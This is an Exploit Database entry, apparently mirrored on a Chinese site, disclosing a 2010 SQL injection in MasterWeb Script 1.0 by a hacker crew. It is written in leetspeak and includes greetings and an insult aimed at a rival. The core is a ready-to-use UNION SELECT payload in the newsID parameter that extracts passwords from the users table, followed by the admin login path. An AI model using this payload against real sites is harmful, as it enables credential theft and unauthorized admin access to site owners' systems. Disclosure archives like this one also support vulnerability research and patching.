MasterWeb Script 1.0 – ‘details&newsID’ SQL Injection

• Exploit Database
• 143 阅读

• 作者： Red-D3v1L
  日期： 2010-01-03
• 类别：

  • webapps
  平台：

  • asp
• 来源：https://www.exploit-db.com/exploits/10955/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36

  +===================================================================================+ ./SEC-R1Z _ __ __ _ _ ___ _ _ _ _ ___ _ _ _ _ / /_ _ _ _ / _ _\/ _ _ /\\< |/_ _ _ _ / \ \_ _ _ _//___ // __||) / || / / \_ _ _ _//___ //| __ ||/||/ / _______\\_ _ \\2_0_0_9 |\|| / /____ /_ _ _ _ _\ _ _ _/\ _ _ _ /|__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!! +===================================================================================+   [?] ~ Note : sEc-r1z CrEw# r0x ! ============================================================================== [?] MasterWeb Script <== 1.0 (details&newsID) SQL Injection Vulnerability ============================================================================== [?] My home:[ http://sec-r1z.com ] [?] Script: [ MasterWeb Script 1.0 ] [?] Language: [ ASP ] [?] Vendor[http://masterweb-ps.com/] [?] Founder:[ ./Red-D3v1L ] [?] Gr44tz to:[ sec-r1z# Crew - Hackteach Team - My L0ve ~A~ ] [?] Fuck To : [ Zombie_KsA << big big big L4m3r ] ########################################################################   ===[ Exploit SQL ]===   [ª]SQL : [Path]/details&newsID=[inj3ct C0dE] [ª]dem0: http://www.site.com/?page=details&newsID=1905+union+select+1,pword,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+users   Admin:[Path]/admin/login.asp   ==============================================================================   #sEc-r1z.com Str1kEz y0u !